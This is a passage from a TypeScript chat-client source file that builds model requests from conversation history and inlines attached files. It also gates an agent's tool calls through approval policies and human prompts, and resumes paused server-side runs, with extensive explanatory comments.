event.detail.echoed = true;\n }\n\n const messageId = uuid();\n const config = this._config.getModelConfig();\n const providerId = explicitProviderId || config.defaultProvider;\n\n // 1. Initial Checks (Sync Errors). A runner that calls the model elsewhere needs\n // no provider in the page: the server or the agent picks it.\n if (!providerId && !this._modelRunsElsewhere) {\n // Said once to the developer, who is the one who can fix it: the error\n // segment below is appended to a message that does not exist yet, so on a\n // page with no listener the send was simply dropped — the user's message\n // sat there and nothing said why.\n if (!this._warnedNoModel) {\n this._warnedNoModel = true;\n console.warn(\n '[AparteClient] Send dropped: no model is selected. Call '\n + 'aparteGlobalConfig.setModelConfig({ defaultProvider, defaultModel }), mount '\n + '<aparte-model-selector auto-select persist>, or register one provider with a single '\n + 'model — that one is selected on its own.',\n );\n }\n this._handleLifecycleError(targetElement, messageId, new AparteError(\n 'No provider selected. Please configure a provider.',\n AparteErrorCode.CONFIG_NO_PROVIDER\n ));\n return;\n }\n\n const provider = this._providerFor(providerId);\n if (!provider) {\n this._handleLifecycleError(targetElement, messageId, new AparteError(\n `Provider '${providerId}' is not registered.`,\n AparteErrorCode.CONFIG_MISSING_KEY,\n { providerId }\n ));\n return;\n }\n\n // 2. Prepare Atomic Assistant Message\n targetElement.appendMessage?.({\n id: messageId,\n role: 'assistant',\n content: '',\n status: 'pending',\n timestamp: Date.now()\n });\n\n // Resolve auth + build the request (key channel + file injection are\n // send-specific). A failure here routes to the lifecycle error exactly\n // like a stream failure inside _streamTurn.\n let authConfig: string | Record<string, string> | undefined;\n let messages: AparteChatMessage[];\n try {\n authConfig = providerId ? await this._resolveAuth(providerId) : undefined;\n\n const rawFiles: File[] = Array.isArray(event.detail?.files) ? event.detail.files : [];\n const filesToInject = this._selectFilesToInject(rawFiles);\n const contentParts = filesToInject.length > 0 ? await this._filesToContentParts(filesToInject) : [];\n messages = this._buildMessages(content, targetElement, contentParts.length > 0 ? contentParts : undefined);\n } catch (error: unknown) {\n this._handleLifecycleError(targetElement, messageId, AparteError.from(error, AparteErrorCode.UNKNOWN_ERROR));\n return;\n }\n\n await this._streamTurn(\n targetElement, messageId, provider,\n messages, modelId || config.defaultModel || '',\n authConfig,\n );\n }\n\n /**\n * Build the initial messages array, prepending system prompts and conversation history.\n */\n private _buildMessages(userContent: string, target?: AparteChatTargetElement, parts?: AparteContentPart[]): AparteChatMessage[] {\n // 1. The app's system prompt, then the tools' own — see `_systemMessages`.\n const messages: AparteChatMessage[] = this._systemMessages();\n\n const historyOption = this.options.history ?? 'viewport';\n const viewportMessages: AparteMessage[] = target?.getMessages?.() ?? [];\n\n if (historyOption === 'viewport') {\n messages.push(...this._toHistoryMessages(viewportMessages));\n } else if (typeof historyOption === 'function') {\n messages.push(...historyOption(viewportMessages));\n }\n\n const userMsg: AparteChatMessage['content'] = (parts && parts.length > 0)\n ? [{ type: 'text' as const, text: userContent }, ...parts]\n : userContent;\n messages.push({ role: 'user', content: userMsg });\n return messages;\n }\n\n /**\n * A turn that has not finished yet. `status` is OPTIONAL on `AparteMessage`, so\n * the question the history gates can ask is \"is this still in flight?\", never\n * \"is this completed?\".\n *\n * The gates below ask the first, because a host that SEEDS a transcript\n * — restoring a saved conversation, hydrating a server-rendered one — has no\n * reason to invent a status for turns that are already over. Asking \"is this\n * completed?\" would leave the cutoff at 0 and slice away the whole transcript: the\n * model would get the new question with no context, and nothing in the UI would say\n * so, because the viewport still shows every message.\n */\n private static _inFlight(m: AparteMessage): boolean {\n return m.status === 'streaming' || m.status === 'pending';\n }\n\n private _toHistoryMessages(messages: AparteMessage[]): AparteChatMessage[] {\n // Exclude trailing unanswered user messages: the current user message is\n // already added explicitly at the end of _buildMessages, so including it\n // from the viewport would cause a duplicate.\n // Find the last ANSWERED assistant response and cut there — errored and\n // in-flight turns are not answers and must not move the cutoff.\n let cutoff = 0;\n for (let i = 0; i < messages.length; i++) {\n const m = messages[i]!;\n if (m.role === 'assistant' && m.status !== 'error' && !AparteClient._inFlight(m)) {\n cutoff = i + 1;\n }\n }\n\n // The cutoff is this path's own concern; what each message contributes to the\n // wire is shared with retry and edit — see `_wireHistory`.\n return this._wireHistory(messages.slice(0, cutoff));\n }\n\n /**\n * A message's text as the MODEL should read it — the one mapper both history\n * paths use, so the compaction preamble cannot be applied on retry and edit and\n * forgotten on the ordinary send, which is what the first review of this feature\n * caught: the summary went out on every normal turn as something the user said.\n */\n private _wireText(message: AparteMessage): string {\n const text = this._extractText(message);\n return message.compaction ? `${COMPACTION_PREAMBLE}\\n\\n${text}` : text;\n }\n\n /**\n * What the model is told it said last turn — reconstructed from what was\n * RENDERED, not from the raw-text field.\n *\n * The segments are what the reader saw, so they come first. `content` is the\n * fallback, and that is not vestigial: a non-streaming transport writes the whole\n * reply there and creates no segments at all.\n */\n private _extractText(message: AparteMessage): string {\n const rendered = this._segmentsToText(message.segments);\n if (rendered) return rendered;\n if (typeof message.content === 'string' && message.content) return message.content;\n return '';\n }\n\n /**\n * Segments → the text a model can read back.\n *\n * Fences and the language tag are kept. Without them the model re-reads its own\n * code as prose — which is how it starts explaining a snippet it believes it\n * wrote in English.\n *\n * A type core does not know — a registered block grammar's (an artifact, a\n * citation, a file), a consumer's custom segment — follows one rule: its\n * `content` if it has one, else its `fallback`, else nothing. Dropping such a\n * segment would make a document the model had just produced invisible on the very\n * next turn, so it could not be asked to change the thing it had built. An artifact\n * is a plugin's type like any other and follows this rule.\n *\n * `thinking` and `tool_call` stay out on purpose — the first is the model's own\n * scratchpad, and most APIs neither want it back nor bill for it kindly; the\n * second is not text: `_wireHistory` sends a reply's calls as the assistant's\n * `toolCalls` and the `tool` messages answering them (`wire-history.ts`).\n */\n private _segmentsToText(segments: AparteMessage['segments']): string {\n if (!segments?.length) return '';\n const fence = '```';\n const parts: string[] = [];\n for (const segment of segments) {\n const content = (segment as { content?: string }).content;\n if (segment.type === 'text') {\n if (content) parts.push(content);\n } else if (segment.type === 'code') {\n const lang = (segment as { language?: string }).language ?? '';\n parts.push(`${fence}${lang}\\n${content ?? ''}\\n${fence}`);\n } else if (segment.type === 'thinking' || segment.type === 'tool_call' || segment.type === 'error') {\n continue;\n } else if (typeof content === 'string' && content) {\n parts.push(content);\n } else {\n const fallback = (segment as { fallback?: string }).fallback;\n if (fallback) parts.push(fallback);\n }\n }\n return parts.join('\\n').trim();\n }\n\n /**\n * Which of the send's pending files get inlined into the request: the\n * `rawFileInject` mode first —\n * 'none' → nothing inline (RAG handles all file types),\n * 'images-only' → images inline, text/docs to the app layer,\n * 'all' (default) → images + text files inline —\n * then the optional per-file `fileInjectFilter` veto.\n */\n private _selectFilesToInject(rawFiles: File[]): File[] {\n const byMode =\n this.options.rawFileInject === 'none' ? [] :\n this.options.rawFileInject === 'images-only' ? rawFiles.filter(f => f.type.startsWith('image/')) :\n rawFiles;\n const filter = this.options.fileInjectFilter;\n return filter ? byMode.filter(f => filter(f)) : byMode;\n }\n\n /**\n * Convert an array of File objects to AparteContentPart[].\n * - Images → AparteImagePart (base64 data URL)\n * - Text files (txt, md, json, csv, xml, html, css, js, ts, …) → AparteTextPart\n * injected as a fenced block so all models (including local) can read them.\n * - Other binary files → no content part, and a one-time `console.warn` naming the\n * file (see the branch below for why it is not silent).\n */\n private async _filesToContentParts(files: File[]): Promise<AparteContentPart[]> {\n const TEXT_TYPES = /^(text\\/|application\\/(json|xml|javascript|typescript|x-yaml|yaml|toml|csv|markdown))/i;\n const TEXT_EXTENSIONS = /\\.(txt|md|markdown|json|jsonl|csv|tsv|xml|html|htm|css|js|mjs|cjs|ts|tsx|jsx|py|rb|java|c|cpp|h|go|rs|php|sh|bash|zsh|fish|yaml|yml|toml|ini|env|log|svg|graphql|gql)$/i;\n\n const parts: (AparteContentPart | null)[] = await Promise.all(\n files.map((file): Promise<AparteContentPart | null> => {\n if (file.type.startsWith('image/')) {\n return new Promise((resolve, reject) => {\n const reader = new FileReader();\n reader.onload = () => resolve({ type: 'image', image: reader.result as string, mimeType: file.type });\n reader.onerror = () => reject(new Error(`Failed to read file: ${file.name}`));\n reader.readAsDataURL(file);\n });\n }\n\n if (TEXT_TYPES.test(file.type) || TEXT_EXTENSIONS.test(file.name)) {\n return new Promise((resolve, reject) => {\n const reader = new FileReader();\n reader.onload = () => {\n const content = reader.result as string;\n const ext = file.name.split('.').pop() ?? '';\n resolve({\n type: 'text',\n text: `\\`\\`\\`${ext}\\n// File: ${file.name}\\n${content}\\n\\`\\`\\``,\n });\n };\n reader.onerror = () => reject(new Error(`Failed to read file: ${file.name}`));\n reader.readAsText(file);\n });\n }\n\n // Everything else — a PDF, a spreadsheet, an archive. The chip stays on\n // screen, so silence here reads as the model ignoring the attachment\n // rather than as aparté never having sent it.\n if (!warnedUninlinedFiles.has(file.name)) {\n warnedUninlinedFiles.add(file.name);\n console.warn(\n `[aparte] ${file.name} (${file.type || 'unknown type'}) is attached to the message but is `\n + 'not sent to the model: aparté inlines images and text files only. Handle it in your app '\n + '(RAG, an upload) — the chip stays visible either way.',\n );\n }\n return Promise.resolve(null);\n })\n );\n\n return parts.filter((p): p is AparteContentPart => p !== null);\n }\n\n /**\n * What the loop does after one tool call. THREE outcomes, because a boolean\n * conflated two questions that a refusal answers differently.\n *\n * - `'continue'` — run the next tool call of this turn.\n * - `'respond'` — skip this turn's remaining calls, then take another turn so the\n * model reads what happened. A human refusal: the model asked for\n * several calls and refusing one cannot license the others, but a\n * refusal it never reads is one the user has to retype as a message.\n * - `'halt'` — the run is over: an abort, a turn limit, a missing handler.\n */\n /**\n * The turn's agent loop — the engine's `runStreamAgent` rendered through the core\n * adapter, or the runner a host injected — after the fetch-level abort bookkeeping.\n */\n /** One run of the loop: its usage, and whether it paused (a server loop). */\n private async _streamLoop(\n targetElement: AparteChatTargetElement,\n messageId: string,\n provider: AparteAIProvider,\n baseRequest: AparteChatRequest,\n authConfig: string | Record<string, string> | undefined,\n // Defaulted for a caller that drives the loop directly (the parity suite does).\n streamController: AbortController = new AbortController(),\n // A paused server run's answers, when this call resumes it (see `_streamTurn`).\n deferral?: StreamDeferral,\n ): Promise<AparteRunResult> {\n // Fetch-level abort: aborting this controller (via `abort()`) cuts the\n // in-flight vendor request, so a user \"stop\" halts server-side generation\n // rather than only stopping client-side reading of the stream.\n // A NEW turn abandons the previous one, and abandoning means cutting it.\n //\n // `_streamController` is a single slot overwritten on each turn, and nothing\n // guards `_handleSend` / `_handleRetry` / `_handleEdit` against a turn already\n // in flight — so the first turn became unabortable: `abort()` reached only the\n // newest signal while the older stream kept generating and kept being billed,\n // with nothing left on the page to render it.\n //\n // Reachable without doing anything unusual: the composer converts\n // submit-while-streaming into a cancel, but the action bar is hidden only on\n // the bubble carrying `data-streaming`, so retry or edit on any EARLIER bubble\n // is clickable mid-stream and starts a second loop.\n //\n // Cutting the old one rather than tracking both, because two simultaneous\n // assistant turns on one chat is not a state this UI has — and \"we walked away\n // from a stream, so cancel it\" is already the rule everywhere else here.\n //\n // Only ANOTHER turn's controller, though: a turn that resumes after a pause runs\n // again under its own, and aborting that would stop the resume before it starts.\n if (this._streamController !== streamController) this._streamController?.abort();\n // The controller is the TURN's, created by `_streamTurn` and handed in, so the\n // turn can read its own signal when it ends: `_isAborted` is client-wide and\n // is reset by the next send, so a turn superseded by a retry on an earlier\n // bubble came back to find it false and announced `aparte-message-done` for a\n // reply that was cut mid-stream — clearing the NEW turn's streaming state.\n this._streamController = streamController;\n\n // The loop is the engine's. `streamRunner` lets a host wrap or replace it\n // (`onHistoryAppend`, a prefix-cache transport…); absent, `runStreamAgent`\n // runs, rendered through the core adapter. Core used to carry a second copy\n // of this loop inline — five hundred lines \"kept in sync\" with the engine by\n // hand — and the same tool turn corrupted the history in two different\n // shapes, one per copy, invisible to a parity suite precisely because they\n // differed. One loop, one shape.\n const runner = this.options.streamRunner ?? runStreamAgent;\n return this._runViaStreamRunner(runner, targetElement, messageId, provider, baseRequest, authConfig, streamController, deferral);\n }\n\n /**\n * Run the loop through a {@link AparteStreamRunner} — the engine's by default —\n * rendering its DOM-free events through {@link createStreamAdapter}. Builds the\n * runner's dependencies from this client's config / provider / transport. The\n * leading writes (status streaming, prefix segments) happen here; the runner's\n * `run-start` re-asserts `streaming` idempotently. The call sequence this\n * produces is pinned by the `stream-parity` suite's snapshots, recorded while\n * the inline loop it replaced still ran beside it.\n */\n private async _runViaStreamRunner(\n streamRunner: AparteStreamRunner,\n targetElement: AparteChatTargetElement,\n messageId: string,\n provider: AparteAIProvider,\n baseRequest: AparteChatRequest,\n authConfig: string | Record<string, string> | undefined,\n streamController: AbortController,\n deferral?: StreamDeferral,\n ): Promise<AparteRunResult> {\n const signal = streamController.signal;\n\n // The chat, not the viewport — see `_targetIdOf`. Without it the adapter's own\n // two lifecycle dispatches (`aparte-tool-approval-request` and the abort) go\n // out unstamped, which every chat on the page reads as its own.\n const chatId = this._targetIdOf(targetElement);\n const adapter = createStreamAdapter({\n target: targetElement as StreamAdapterTarget,\n config: this._config,\n messageId,\n ...(chatId ? { targetId: chatId } : {}),\n });\n // `prefixSegments` (`_meta`) land right after the runner's `run-start` — the\n // flip to `status: 'streaming'` — so they sit on a streaming bubble, in the\n // order the loop always used: status first, then the segments the host seeded.\n // The client used to write the status itself before the runner and let\n // `run-start` repeat it: harmless on the page, but one call the recorded\n // sequence never had, which is how the parity suite caught it.\n const prefixSegments = baseRequest._meta?.['prefixSegments'] as AparteSegment[] | undefined;\n // A server loop that paused says so on its last event; the turn picks it up.\n let suspended: AparteRunResult['suspended'];\n const emitter: AparteStreamRunEmitter = (event) => {\n adapter(event);\n if (event.type === 'run-suspended') {\n const ticket = (event as { ticket?: unknown }).ticket;\n suspended = { pending: event.pending, ...(typeof ticket === 'string' ? { ticket } : {}) };\n }\n // Once per turn: a resume starts a run too, into a reply that has them already.\n if (event.type === 'run-start' && prefixSegments?.length && !deferral) {\n for (const seg of prefixSegments) targetElement.addSegment?.(seg);\n }\n };\n\n const transportCall = async (request: AparteChatRequest): Promise<AsyncIterable<AparteStreamEvent> | string> => {\n const response = await this._config.getTransport().chat(provider, request, authConfig, { providerId: provider.id, signal });\n return typeof response === 'string'\n ? response\n : readableToAsyncIterable(response as ReadableStream<AparteStreamEvent>, signal);\n };\n // Wrapped, so the INJECTED runner hands a handler the same context core's\n // inline loop did. Without this, `streamRunner: runStreamAgent` would be the\n // one configuration where `ask_user` still silently cancelled — a new\n // parity divergence introduced by fixing the old one.\n const toolLookup = (name: string) => {\n const handler = this._config.getToolHandler(name);\n if (!handler) return undefined;\n const context = { target: targetElement as unknown as HTMLElement, config: this._config };\n return (call: AparteToolCall, sig: AbortSignal) => handler(call, sig, context);\n };\n // The gate is decided per CALL, from the arguments, by the same ruling the\n // channel below answers with — read live, not snapshotted, so a policy\n // installed mid-turn governs the gate and the answer alike. With no policy\n // registered `ruleOnToolCall` is exactly the tool's own flag. `'ask'` pauses\n // and is announced; `'deny'` refuses without announcing a pause nobody will\n // answer; `false` runs.\n //\n // A host that injected its own resolver owns the whole decision, so the policy\n // must not decide the gate either — an `allow` would skip that resolver.\n const hostOwnsDecision = Boolean(this.options.approvalResolver);\n const toolConfigLookup = (name: string) => {\n const tool = this._config.getTools().find(t => t.name === name);\n if (!tool) return undefined;\n return {\n maxTurns: tool.maxTurns,\n needsApproval: hostOwnsDecision\n ? tool.needsApproval\n : (call: AparteToolCall) => {\n const verdict = this._config.ruleOnToolCall(call).verdict;\n return verdict === 'allow' ? false : verdict;\n },\n };\n };\n // The SAME channel the inline loop had. It used to be the `document` listener\n // while the inline loop asked at the composer — two loops asking two different\n // ways, which the parity suite cannot see because it supplies its own resolver\n // to both sides.\n //\n // A host's own resolver decides everything and sees no policy: it already\n // chose to own the decision. The default channel consults the policy first — a\n // `deny` refuses with the policy's own reason, never \"the user rejected this\".\n const approvalResolver = this._approvalResolverFor(targetElement);\n\n const usage = await streamRunner({\n messageId,\n ...(provider.id ? { providerId: provider.id } : {}),\n ...(deferral ? { deferral } : {}),\n baseRequest,\n transportCall,\n toolLookup,\n toolConfigLookup,\n approvalResolver,\n emitter,\n signal,\n maxTurns: this.options.maxTurns,\n // Forwarded, because the option's own JSDoc promises it means one thing\n // whichever loop runs — and the fix that introduced it only wired the\n // inline path, so setting it was silently ignored here. Exactly the\n // asymmetry the option was added to remove.\n toolTimeoutMs: this.options.toolTimeoutMs,\n // The id conventions the loop always had: prefixed artifact ids, but a\n // BARE uuid for the synthetic tool (the adapter renders `tool-<id>`).\n idGen: (prefix) => (prefix === 'synthetic-tool' ? uuid() : `${prefix}-${uuid()}`),\n });\n return { usage: usage ?? undefined, ...(suspended ? { suspended } : {}) };\n }\n\n /**\n * The approval channel a run asks through — and the one a paused server run's calls\n * are answered through, so the page asks the same way whichever loop paused.\n *\n * `gatedElsewhere`: a server already decided this call needs a person. The page's\n * policy may still answer it when it has an opinion (`auto` mode allows, a plan\n * refuses), but with none the person is asked. `ruleOnToolCall`'s own fallback —\n * the tool's `needsApproval` — reads a tool the page does not have, and said\n * \"allow\": the page approved, silently, what the server wanted a person to decide.\n */\n private _approvalResolverFor(targetElement: AparteChatTargetElement, gatedElsewhere = false): StreamApprovalResolver {\n return this.options.approvalResolver\n ?? (async (call: { id: string; name: string; input: Record<string, unknown> }, sig: AbortSignal) => {\n const ruling: AparteApprovalRuling = gatedElsewhere\n ? (this._config.getApprovalPolicy()?.(call, this._config.getTools().find((t) => t.name === call.name)) ?? { verdict: 'ask' })\n : this._config.ruleOnToolCall(call);\n if (ruling.verdict === 'allow') return { approved: true };\n if (ruling.verdict === 'deny') {\n // Truthiness, not `??`: an empty reason would otherwise be the whole\n // `tool` message, or fall through to \"the user rejected this\" downstream.\n return { approved: false, reason: ruling.reason?.trim() || 'Tool execution was refused by the approval policy.' };\n }\n return this._askForApproval(call, sig, targetElement as unknown as HTMLElement);\n });\n }\n\n\n /**\n * The answers a paused server run waits for, asked HERE because only the page can: an\n * approval through the same channel a run in the page uses (the panel, the policy, a\n * host's own resolver), a browser tool through the handler `registerTool` gave it.\n * A `queued` call needs nothing — the server runs it on resume. `undefined` when\n * nobody answered — the turn was stopped, or the channel gave up — and there is no\n * resume. A channel that CRASHES fails the turn, as it does for a run in the page.\n */\n private async _answerDeferred(\n targetElement: AparteChatTargetElement,\n pending: StreamDeferredCall[],\n signal: AbortSignal,\n rowEvents?: AparteStreamRunEmitter,\n approvedBefore: ReadonlySet<string> = new Set(),\n approvedNow: Set<string> = new Set(),\n ): Promise<Record<string, StreamDeferredOutcome> | undefined> {\n const outcomes: Record<string, StreamDeferredOutcome> = {};\n const resolver = this._approvalResolverFor(targetElement, true);\n // A refusal ends the pause's later calls, as it ends the turn's in the page's own\n // loop: nobody is asked about them and none of them runs — but each is ANSWERED, as\n // not run. Left without an answer, a server pauses on it again and an AG-UI agent\n // hands its model a call nothing answers, which providers reject.\n const refuseTheRest = (after: number): void => {\n for (const rest of pending.slice(after + 1)) {\n outcomes[rest.toolCallId] = { kind: 'decision', approved: false, reason: NOT_RUN_AFTER_A_REFUSAL };\n }\n };\n for (const [index, p] of pending.entries()) {\n if (signal.aborted) break;\n const call = { id: p.toolCallId, name: p.name, input: (p.input ?? {}) as Record<string, unknown> };\n if (p.reason === 'approval') {\n let decision: Awaited<ReturnType<StreamApprovalResolver>> | undefined;\n try {\n decision = await resolver(call, signal);\n } catch (error: unknown) {\n // Resuming without the answer only paused the same call again. The\n // turn's error exit closes the calls.\n if (!signal.aborted && (error as { name?: string } | undefined)?.name !== 'AbortError') throw error;\n }\n if (!decision || signal.aborted) return undefined;\n outcomes[p.toolCallId] = { kind: 'decision', ...decision };\n if (decision.approved) approvedNow.add(approvalKey(call));\n else { refuseTheRest(index); break; }\n } else if (p.reason === 'external') {\n // The page's gate first, the one its own loop applies: a browser tool asked\n // for by a server or an AG-UI agent used to run without its `needsApproval`\n // or the approval policy ever being consulted.\n let gate: Awaited<ReturnType<StreamApprovalResolver>> | null | undefined = null;\n const key = approvalKey(call);\n if (!approvedBefore.has(key) && !approvedNow.has(key)) {\n try {\n gate = await this._gateBrowserTool(call, signal, targetElement, rowEvents);\n } catch (error: unknown) {\n if (!signal.aborted && (error as { name?: string } | undefined)?.name !== 'AbortError') throw error;\n gate = undefined;\n }\n }\n if (gate === undefined || signal.aborted) return undefined;\n if (gate && !gate.approved) {\n outcomes[p.toolCallId] = { kind: 'decision', ...gate };\n refuseTheRest(index);\n break;\n }\n // An approval may carry a payload, merged into the input as the page's own\n // loop merges it.\n const payload = gate?.payload;\n const ran = payload && typeof payload === 'object' && !Array.isArray(payload)\n ? { ...call, input: { ...call.input, ...(payload as Record<string, unknown>) } }\n : call;\n const handler = this._config.getToolHandler(p.name);\n try {\n if (!handler) throw new Error(`No browser handler is registered for \"${p.name}\".`);\n const result = await handler(ran, signal, { target: targetElement as unknown as HTMLElement, config: this._config });\n outcomes[p.toolCallId] = {\n kind: 'result',\n content: result.content,\n ...(result.structuredContent !== undefined ? { structuredContent: result.structuredContent } : {}),\n };\n } catch (error: unknown) {\n if (signal.aborted) break;\n outcomes[p.toolCallId] = { kind: 'failed', error: error instanceof Error ? error.message : String(error) };\n }\n }\n }\n return signal.aborted ? undefined : outcomes;\n }\n\n /**\n * Whether a browser tool a paused run asked for may run, decided as a run in the page\n * decides it. With a host `approvalResolver`, the tool's own `needsApproval` says whether\n * to ask and the resolver answers; without one, the approval policy and `needsApproval`\n * rule (`ruleOnToolCall`) and the default channel asks. `null` when nothing gates the\n * call, the decision when something did, `undefined` when nobody answered.\n */\n private async _gateBrowserTool(\n call: AparteToolCall,\n signal: AbortSignal,\n targetElement: AparteChatTargetElement,\n rowEvents?: AparteStreamRunEmitter,\n ): Promise<Awaited<ReturnType<StreamApprovalResolver>> | null | undefined> {\n const ruling = this.options.approvalResolver\n ? (this._config.getTools().find((t) => t.name === call.name)?.needsApproval ? 'ask' : 'allow')\n : this._config.ruleOnToolCall(call).verdict;\n if (ruling === 'allow') return null;\n // Someone is about to be asked: the row says so, and `aparte-tool-approval-request`\n // fires, as for a call gated in the page's own loop. A `deny` is decided already.\n if (ruling === 'ask') rowEvents?.({ type: 'tool-awaiting-approval', toolCallId: call.id, name: call.name, input: call.input });\n const decision = (await this._approvalResolverFor(targetElement)(call, signal)) ?? undefined;\n // Back to running, and still PAUSED: the resume hands this call back open for its\n // result to answer. Not through `rowEvents` — that adapter never saw the call start,\n // so it takes any settle for the end of the pause and drops `deferred`, and the\n // history then answered the call \"stopped before it ran\".\n if (decision?.approved && ruling === 'ask') targetElement.updateSegment?.(`tool-${call.id}`, { status: 'pending' } as Partial<AparteSegment>);\n return decision;\n }\n\n /**\n * The ticket is spent the moment the resume leaves: the server answers these calls\n * now, so a pause saved from here on — the conversation manager saves before it cuts a\n * switch — would be resumed a second time, against a server that has moved on. The\n * history that resumes them is built first; a new pause marks what still waits.\n */\n private _spendPause(targetElement: AparteChatTargetElement, messageId: string): void {\n const segments = targetElement.getMessage?.(messageId)?.segments\n ?? targetElement.getMessages?.()?.find((m) => m.id === messageId)?.segments;\n const paused = (segment: AparteSegment): segment is AparteToolCallSegment =>\n segment.type === 'tool_call' && Boolean((segment as AparteToolCallSegment).deferred);\n if (!segments?.some(paused)) return;\n targetElement.updateMessage?.(messageId, {\n segments: segments.map((segment) => {\n if (!paused(segment)) return segment;\n const { deferred: _spent, ...rest } = segment;\n return rest;\n }),\n });\n }\n\n /**\n * Close the reply's calls that can no longer finish — paused, queued, or running on a\n * server the page stopped listening to: each says it stopped, and forgets the pause.\n * A cut connection carries none of their last events, so nothing else would: the rows\n * would spin, and a queued call would keep its ticket, which a reload would then\n * resume against a server that had moved on. By the reply's id, not the chat's head — a retry during\n * the wait moves the head. A run in the page ends every call itself: nothing to do.\n */\n private _closeOpenCalls(targetElement: AparteChatTargetElement, messageId: string): void {\n const segments = targetElement.getMessage?.(messageId)?.segments\n ?? targetElement.getMessages?.()?.find((m) => m.id === messageId)?.segments;\n const unfinished = (segment: AparteSegment): segment is AparteToolCallSegment =>\n segment.type === 'tool_call'\n && ((segment as AparteToolCallSegment).status === 'pending' || (segment as AparteToolCallSegment).status === 'awaiting-approval');\n if (!segments?.some(unfinished)) return;\n targetElement.updateMessage?.(messageId, {\n segments: segments.map((segment) => {\n if (!unfinished(segment)) return segment;\n const { deferred: _spent, ...rest } = segment;\n return { ...rest, status: 'aborted' as const };\n }),\n });\n }\n\n /**\n * The history a resume sends: the request the turn was sent with — interceptor and\n * `history` option included, not rebuilt from the transcript — then the reply so\n * far, its paused calls left open for the server to answer.\n */\n private _resumeMessages(targetElement: AparteChatTargetElement, messageId: string, sent: AparteChatMessage[]): AparteChatMessage[] {\n const reply = targetElement.getMessages?.().find((m) => m.id === messageId);\n return [...sent, ...(reply ? wireTurns(reply, (segments) => this._segmentsToText(segments), { openDeferred: true }) : [])];\n }\n\n /**\n * What the send of a reloaded turn put before its reply, rebuilt the way\n * `_buildMessages` builds it: the system prompts, the history `options.history`\n * asks for — given the transcript before the reply, where the send also saw the\n * reply's empty shell; handing over the paused reply would send it twice — and the\n * message that asked.\n * That message goes as its text: the files a send read are not in a transcript.\n */\n private _resumeBase(all: AparteMessage[], replyIndex: number): AparteChatMessage[] {\n const before = all.slice(0, replyIndex);\n const askedAt = before.map((m) => m.role).lastIndexOf('user');\n const historyOption = this.options.history ?? 'viewport';\n const history = historyOption === 'viewport' ? this._toHistoryMessages(before)\n : typeof historyOption === 'function' ? historyOption(before)\n : [];\n return [...this._systemMessages(), ...history, ...(askedAt >= 0 ? this._wireHistory([before[askedAt]!]) : [])];\n }\n\n /**\n * A new message closes a wait nobody answered. The paused calls of the last reply are\n * marked stopped, so the history the new turn sends answers them (\"stopped before it\n * ran\") — a provider rejects a request that declares a call with no answer.\n */\n private _closeDeferred(targetElement: AparteChatTargetElement): void {\n const messages = targetElement.getMessages?.() ?? [];\n const last = [...messages].reverse().find((m) => m.role === 'assistant');\n if (!last?.segments?.some(isOpenDeferred)) return;\n const segments = last.segments.map((segment) => {\n if (!isOpenDeferred(segment)) return segment;\n const { deferred: _closed, ...rest } = segment;\n return { ...rest, status: 'aborted' as const };\n });\n targetElement.updateMessage?.(last.id, { segments });\n }\n\n /**\n * Answer a turn a server loop paused, when the conversation comes back — a reload, a\n * conversation reopened days later. The last reply's paused calls (they carry the\n * server's ticket) are put to the person again, or run in the page, and the loop\n * resumes on the server, into the same bubble.\n *\n * Called on its own when a conversation manager loads a conversation\n * (`aparte-conversation-loaded`); call it yourself after `setMessages` if you load\n * conversations another way. Resolves `true` when a resume ran, `false` when there\n * was nothing to resume.\n *\n * @param target The chat — an element, or its id. Defaults to the one `targetResolver` names, else the first on the page.\n */\n async resumeDeferred(target?: HTMLElement | string): Promise<boolean> {\n const host = typeof target === 'string' ? this._byId(target) : target ?? this.options.targetResolver?.() ?? null;\n const targetElement = (host ? this._asRenderTarget<HTMLElement>(host) : this._scanForTarget<HTMLElement>()) as AparteChatTargetElement | null;\n if (!targetElement) return false;\n const messages = targetElement.getMessages?.() ?? [];\n const last = [...messages].reverse().find((m) => m.role === 'assistant');\n const open = (last?.segments ?? []).filter(isOpenDeferred);\n const ticket = open.find((s) => s.deferred?.ticket)?.deferred?.ticket;\n if (!last || open.length === 0 || !ticket || this._resuming.has(last.id)) return false;\n\n const config = this._config.getModelConfig();\n // The model the turn ran on, when its provider is still here; else today's default.\n const recorded = last.model && this._config.getAIProvider(last.model.providerId) ? last.model : undefined;\n const providerId = recorded?.providerId ?? config.defaultProvider;\n const provider = this._providerFor(providerId);\n if (!provider) {\n console.warn('[AparteClient] Cannot resume the paused turn: no provider is selected.');\n return false;\n }\n // A fresh turn, like a send: a Stop pressed on an earlier one does not cancel it.\n this._beginUserTurn();\n this._resuming.add(last.id);\n try {\n const authConfig = provider.id ? await this._resolveAuth(provider.id) : undefined;\n const pending: StreamDeferredCall[] = open.map((s) => ({\n toolCallId: s.toolCall.id, name: s.toolCall.name, input: s.toolCall.input, reason: s.deferred!.reason,\n }));\n const base = this._resumeBase(messages, messages.indexOf(last));\n await this._streamTurn(targetElement, last.id, provider, base, recorded?.modelId ?? config.defaultModel ?? '', authConfig, {\n resume: { pending, ticket },\n ...(recorded?.temperature !== undefined ? { temperature: recorded.temperature } : {}),\n });\n } finally {\n this._resuming.delete(last.id);\n }\n return true;\n }\n\n /** Replies being resumed, so a second load of the same conversation does not ask twice. */\n private readonly _resuming = new Set<string>();\n\n /**\n * Updates an existing message or appends a new error if ID lookup fails\n */\n private _updateMessage(target: AparteChatTargetElement, messageId: string, updates: Partial<AparteMessage>) {\n if (target.updateMessage) {\n target.updateMessage(messageId, updates);\n }\n }\n\n /**\n * Gracefully handles errors by updating the current message instead of duplicating it\n */\n private _handleLifecycleError(target: AparteChatTargetElement, messageId: string, error: AparteError) {\n // A valid AparteErrorSegment: the renderer keys off `id` + `content`, so the\n // old `code`/`data` fields were dead here (the full error — including\n // `error.data` — still reaches consumers via the `aparte-message-error` event\n // below). The error code is preserved as `details`.\n const errorSegment: AparteErrorSegment = {\n id: `error-${uuid()}`,\n type: 'error',\n content: error.message,\n details: error.code,\n };\n\n if (target.updateMessage) {\n /*\n * APPEND the error, never replace the reply.\n *\n * Replacing with `segments: [errorSegment]` would destroy everything already\n * streamed and rendered — text, the thinking block, artifacts, resolved tool\n * calls — the moment a provider emits a mid-stream `error` event, or a tool\n * handler throws anything that is not an `AbortError`. A partial answer plus\n * an error is the truth; an empty bubble with an error in it is a lie about\n * what the model said.\n */\n /*\n * TREE-WIDE first, active path second.\n *\n * `getMessages()` returns only the ACTIVE path, so the append-not-replace rule\n * would silently become a full replace for any message that has left that\n * path. A retry or an edit on an earlier bubble does precisely that to a reply\n * still in flight: the reply stays in the tree, 